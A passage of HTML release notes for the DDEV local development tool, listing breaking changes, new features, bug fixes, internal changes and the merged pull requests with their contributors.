<li>Use stricter permissions for world-writable directories inside <code>ddev-webserver</code>. If you had <code>post-start</code> hooks that wrote to <code>/usr/local/bin</code>, update them to use <code>~/.local/bin</code> instead, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a></li>
<li>Move <code>N_PREFIX</code> from <code>/usr/local</code> to <code>/usr/local/n</code>. This shouldn't affect most people, unless you referenced a full path such as <code>/usr/local/bin/npm</code> - the new location is <code>/usr/local/n/bin/npm</code>, or simply use <code>npm</code> without a full path</li>
<li>Remove the <code>ddev dr</code> alias for <code>ddev drush</code>, since <code>dr</code> is now a built-in command for Drupal 11.4+</li>
</ul>
<h2>Features</h2>
<ul>
<li><a href="https://docs.ddev.com/en/stable/users/configuration/config/#nodejs_version" rel="nofollow">Node.js improvements</a>: preserve <code>nodejs_version</code> in <code>.ddev/config.yaml</code>, and install several Node.js versions with <code>n install &lt;version&gt;</code> inside the web container</li>
<li>Docker rootless on Linux no longer requires <code>no-bind-mounts</code>; disable it with <code>ddev config global --no-bind-mounts=false</code></li>
<li>Support the <a href="https://github.com/moby/moby/releases/tag/docker-v29.5.0">gvisor-tap-vsock</a> network driver in Docker rootless</li>
<li>Add new <a href="https://docs.ddev.com/en/stable/users/usage/commands/#dr" rel="nofollow"><code>ddev dr</code></a> command for Drupal 11.4+</li>
<li>Allow using Mutagen together with <code>ddev config global --use-hardened-images=true</code></li>
<li><code>ddev version</code> and <code>ddev config</code> now work even when Docker isn't running or is broken, and <code>ddev poweroff</code> shows progress output instead of appearing to hang</li>
<li>Improve <code>ddev list</code> and <code>ddev describe</code> layout on narrow terminals</li>
<li>Add OSC 8 terminal hyperlink support to <code>ddev list</code>, <code>ddev describe</code>, <code>ddev add-on list</code>, and <code>ddev add-on search</code></li>
<li>Show human-readable output when checking available disk space, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wolcen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wolcen">@wolcen</a></li>
<li>Always pull images when using <code>ddev start --no-cache</code></li>
<li>Respect the <code>COMPOSER_NO_BLOCKING</code> environment variable from the host in <code>ddev composer</code></li>
<li>Add <a href="https://docs.ddev.com/en/stable/users/configuration/config/#docker_buildx_version" rel="nofollow"><code>ddev config global --docker-buildx-version</code></a> to specify which Docker Buildx version to use (advanced use only)</li>
<li>Respect <code>docker-buildx</code> installed via snap on Linux</li>
<li>Support Debian, Kali, and eLxr WSL2 distros in the Windows installer, and avoid installing <code>docker-ce</code> over an existing Docker Desktop <code>docker</code> binary</li>
<li>Add <a href="https://docs.ddev.com/en/stable/users/usage/commands/#utility-addon-update-checker" rel="nofollow"><code>ddev utility addon-update-checker</code></a> command for add-on maintainers</li>
<li>Add <a href="https://docs.ddev.com/en/stable/users/extend/creating-add-ons/#interactive-actions" rel="nofollow"><code>#ddev-interactive</code></a> option for add-on actions, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a></li>
<li>Add <a href="https://docs.ddev.com/en/stable/users/extend/custom-docker-services/#omitting-comddev-labels-from-a-service" rel="nofollow"><code>x-ddev.omit-ddev-labels</code></a> extension to skip <code>com.ddev.*</code> label injection for specific services</li>
<li>Support the Flatpak user binary for DBeaver on Linux, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nickchomey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nickchomey">@nickchomey</a></li>
<li>Add a <a href="https://docs.ddev.com/en/stable/users/quickstart/#drupal-drupal-12-head" rel="nofollow">quickstart for Drupal 12 (HEAD)</a>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rpkoller/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rpkoller">@rpkoller</a></li>
<li>Add troubleshooting for <a href="https://docs.ddev.com/en/stable/users/topics/hosting/#lets-encrypt-errors" rel="nofollow">Let's Encrypt certificate failures</a>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonpugh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonpugh">@jonpugh</a></li>
</ul>
<h2>Bug Fixes</h2>
<ul>
<li>Windows installer: fix installation on WSL2 Ubuntu 26.04, which previously failed due to the deprecated <code>wslu</code> package</li>
<li>Suppress 404 logs for <code>favicon.ico</code> and <code>robots.txt</code>; in some cases these caused Nginx to run a PHP script twice</li>
<li>Prevent recursion in global web command wrappers</li>
<li>Use the correct <code>settings.ddev.php</code> for each Drupal version</li>
<li>Fix a bug where <code>.ddev/apache/apache-site.conf</code> went missing when using a custom Nginx config</li>
<li>Detect a missing <code>docker</code> CLI, which is required when using Mutagen</li>
<li>Limit the <code>ENV HOME=""</code> workaround for MySQL 8.x to the database context only</li>
<li>Podman and macOS: restrict the <code>keep-id</code> userns setting to Linux only</li>
<li>Use the <code>nodejs_version</code> set during the <code>ddev-webserver</code> image build; if you installed global <code>npm</code> packages in <code>post-start</code> hooks, move them to <a href="https://docs.ddev.com/en/stable/users/extend/customizing-images/#adding-extra-dockerfiles-for-webimage-and-dbimage" rel="nofollow">extra Dockerfiles</a> instead</li>
<li>Use wrapper scripts in <code>ddev-dbserver</code> to avoid <code>mysql</code> deprecation warnings with MariaDB 11.x+</li>
<li>Warn when the <code>CAROOT</code> environment variable is set but the mkcert CA files (needed for HTTPS in your browser) are inaccessible</li>
<li>Normalize <code>OSTYPE</code> detection on Linux, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mikee-3000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mikee-3000">@Mikee-3000</a></li>
<li>Avoid double-sourcing bashrc configuration in <code>ddev ssh</code></li>
<li>Skip OS-generated metadata files (<code>.DS_Store</code>, <code>Thumbs.db</code>, <code>desktop.ini</code>) during custom-config detection and in <code>.ddev/.gitignore</code></li>
<li>Restore path autocompletion for <code>ddev add-on get</code></li>
<li>Don't prompt to run <code>ddev poweroff</code> after updating <code>ddev-ssh-agent</code></li>
<li>Fix a case typo in <code>ddev sequelace</code> so Sequel Ace is detected on case-sensitive macOS filesystems, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mficzel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mficzel">@mficzel</a></li>
</ul>
<h2>Internal Changes</h2>
<ul>
<li>Migrate <a href="https://docs.ddev.com/" rel="nofollow">DDEV documentation</a> from <a href="https://squidfunk.github.io/mkdocs-material/" rel="nofollow">Material for MkDocs</a> to <a href="https://zensical.org/" rel="nofollow">Zensical</a></li>
<li>Upgrade Bubble Tea (<code>ddev tui</code>) to v2</li>
<li>Add light/dark/system preference variants for the <a href="https://docs.ddev.com/en/stable/developers/brand-guide/" rel="nofollow">brand logo</a></li>
<li>Remove automated testing on macOS Intel; macOS amd64 binaries are still built and distributed, only CI testing on Intel hardware is removed</li>
<li>Add automated testing for macOS Podman rootless</li>
<li>Improve the test embargo system for Go, Bats, and CI workflows; tests can now be <a href="https://docs.ddev.com/en/stable/developers/maintainers/#skipping-tests" rel="nofollow">skipped</a> when needed</li>
<li>Add custom GitHub workflows to run tests on branches without opening a PR</li>
<li>Rework local HTTP test helpers for clearer failure output</li>
<li>Remove the build step for the Docker image used in <code>ddev auth ssh</code></li>
<li>Bump all Go dependencies</li>
</ul>
<h2>Minor Updates</h2>
<ul>
<li>PHP 8.4.22 and 8.5.7</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>test: Reenable Drupal 12 bats test (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4308873453" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8346" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8346/hovercard" href="https://github.com/ddev/ddev/pull/8346">#8346</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rpkoller/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rpkoller">@rpkoller</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4308873453" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8346" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8346/hovercard" href="https://github.com/ddev/ddev/pull/8346">#8346</a></li>
<li>chore(claude): fix PreToolUse hook matcher for git commit static analysis (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4304236248" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8345" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8345/hovercard" href="https://github.com/ddev/ddev/pull/8345">#8345</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4304236248" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8345" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8345/hovercard" href="https://github.com/ddev/ddev/pull/8345">#8345</a></li>
<li>docs(add-ons): Minor updates to creating-add-ons.md by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4311162289" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8347" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8347/hovercard" href="https://github.com/ddev/ddev/pull/8347">#8347</a></li>
<li>perf: combined startup time optimizations, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3892114614" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8096" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8096/hovercard" href="https://github.com/ddev/ddev/issues/8096">#8096</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonesrussell/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonesrussell">@jonesrussell</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3941786572" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8145" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8145/hovercard" href="https://github.com/ddev/ddev/pull/8145">#8145</a></li>
<li>fix(windows): remove wslu from installer, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4276951921" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8326" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8326/hovercard" href="https://github.com/ddev/ddev/issues/8326">#8326</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335618741" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8351" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8351/hovercard" href="https://github.com/ddev/ddev/pull/8351">#8351</a></li>
<li>fix(webserver): replace phar.io/filippo.io links with GitHub releases, improve Dockerfile, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3794142159" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8012" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8012/hovercard" href="https://github.com/ddev/ddev/issues/8012">#8012</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337118936" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8352" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8352/hovercard" href="https://github.com/ddev/ddev/pull/8352">#8352</a></li>
<li>docs(quickstart): add a quickstart for Drupal 12 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344681076" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8357" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8357/hovercard" href="https://github.com/ddev/ddev/pull/8357">#8357</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rpkoller/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rpkoller">@rpkoller</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344681076" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8357" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8357/hovercard" href="https://github.com/ddev/ddev/pull/8357">#8357</a></li>
<li>feat(docker): always pull images with <code>--no-cache</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349539661" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8363" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8363/hovercard" href="https://github.com/ddev/ddev/pull/8363">#8363</a></li>
<li>fix(download-images): pull webserver image, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231897705" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8304" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8304/hovercard" href="https://github.com/ddev/ddev/pull/8304">#8304</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344757488" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8358" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8358/hovercard" href="https://github.com/ddev/ddev/pull/8358">#8358</a></li>
<li>fix(start): use image digest for rebuild detection, fix rand and ssh-agent data races, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3941786572" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8145" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8145/hovercard" href="https://github.com/ddev/ddev/pull/8145">#8145</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345335786" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8359" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8359/hovercard" href="https://github.com/ddev/ddev/pull/8359">#8359</a></li>
<li>fix(test): skip TestCheckLiveConnectivityWithProject on Rancher/Colima/Lima, fix misleading WSL2 labels by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351827772" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8365" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8365/hovercard" href="https://github.com/ddev/ddev/pull/8365">#8365</a></li>
<li>docs(windows): add WSL2 installation step to Docker docs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343533724" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8355" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8355/hovercard" href="https://github.com/ddev/ddev/pull/8355">#8355</a></li>
<li>chore: fix claude hooks and update agent docs [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359138300" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8370" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8370/hovercard" href="https://github.com/ddev/ddev/pull/8370">#8370</a></li>
<li>chore: remove macOS amd64 CI testing (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359689994" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8372" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8372/hovercard" href="https://github.com/ddev/ddev/pull/8372">#8372</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359689994" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8372" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8372/hovercard" href="https://github.com/ddev/ddev/pull/8372">#8372</a></li>
<li>fix(drupal): use configured project type for settings.php version selection by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353481878" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8366" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8366/hovercard" href="https://github.com/ddev/ddev/pull/8366">#8366</a></li>
<li>ci: run golangci-lint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365231243" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8375" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8375/hovercard" href="https://github.com/ddev/ddev/pull/8375">#8375</a></li>
<li>docs(mutagen): explain how to reset to the default mode, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355654879" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8367" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8367/hovercard" href="https://github.com/ddev/ddev/issues/8367">#8367</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/silverham/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/silverham">@silverham</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355742321" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8368" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8368/hovercard" href="https://github.com/ddev/ddev/pull/8368">#8368</a></li>
<li>docs(configuration): Add <code>ddev config --database=&lt;database type&gt;:&lt;version&gt;</code> example command (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4382057472" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8387" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8387/hovercard" href="https://github.com/ddev/ddev/pull/8387">#8387</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/silverham/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/silverham">@silverham</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4382057472" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8387" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8387/hovercard" href="https://github.com/ddev/ddev/pull/8387">#8387</a></li>
<li>build: bump fuxingloh/multi-labeler from 4 to 5 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379236601" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8385" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8385/hovercard" href="https://github.com/ddev/ddev/pull/8385">#8385</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379236601" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8385" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8385/hovercard" href="https://github.com/ddev/ddev/pull/8385">#8385</a></li>
<li>docs: clarify --cleanup --name for single snapshot deletion (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375346339" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8384" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8384/hovercard" href="https://github.com/ddev/ddev/pull/8384">#8384</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CallMeLeon167/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CallMeLeon167">@CallMeLeon167</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375346339" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8384" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8384/hovercard" href="https://github.com/ddev/ddev/pull/8384">#8384</a></li>
<li>docs(add-ons): add real example for bats testing (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365579223" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8377" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8377/hovercard" href="https://github.com/ddev/ddev/pull/8377">#8377</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365579223" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8377" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8377/hovercard" href="https://github.com/ddev/ddev/pull/8377">#8377</a></li>
<li>fix(commands): normalize $OSTYPE detection for linux, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371984340" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8382" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8382/hovercard" href="https://github.com/ddev/ddev/issues/8382">#8382</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mikee-3000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mikee-3000">@Mikee-3000</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372014245" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8383" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8383/hovercard" href="https://github.com/ddev/ddev/pull/8383">#8383</a></li>
<li>docs: Add Xcode iOS simulator info (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359170507" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8371" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8371/hovercard" href="https://github.com/ddev/ddev/pull/8371">#8371</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jamesmacwhite/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jamesmacwhite">@jamesmacwhite</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359170507" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8371" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8371/hovercard" href="https://github.com/ddev/ddev/pull/8371">#8371</a></li>
<li>feat(utility): add <code>ddev utility addon-update-checker</code> command by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363864217" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8373" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8373/hovercard" href="https://github.com/ddev/ddev/pull/8373">#8373</a></li>
<li>fix(add-ons): autocomplete for path by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365566102" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8376" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8376/hovercard" href="https://github.com/ddev/ddev/pull/8376">#8376</a></li>
<li>test(wsl2): fix TestHostDBPort by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400300129" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8391" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8391/hovercard" href="https://github.com/ddev/ddev/pull/8391">#8391</a></li>
<li>test(windows): fix TestUtilityAddonUpdateCheckerCmd, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363864217" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8373" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8373/hovercard" href="https://github.com/ddev/ddev/pull/8373">#8373</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4408413794" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8394" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8394/hovercard" href="https://github.com/ddev/ddev/pull/8394">#8394</a></li>
<li>docs(quickstart): Add description to Drupal Git clone example by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gitressa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gitressa">@gitressa</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4408464620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8395" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8395/hovercard" href="https://github.com/ddev/ddev/pull/8395">#8395</a></li>
<li>fix(ddev-webserver): <code>ddev stop</code> takes 10s due to bash deferring SIGTERM during foreground cat, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4218384497" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8295" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8295/hovercard" href="https://github.com/ddev/ddev/issues/8295">#8295</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4408650681" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8396" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8396/hovercard" href="https://github.com/ddev/ddev/pull/8396">#8396</a></li>
<li>docs: unify homeadditions path resolution and Composer auth.json handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eiriksm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eiriksm">@eiriksm</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4420266904" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8400" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8400/hovercard" href="https://github.com/ddev/ddev/pull/8400">#8400</a></li>
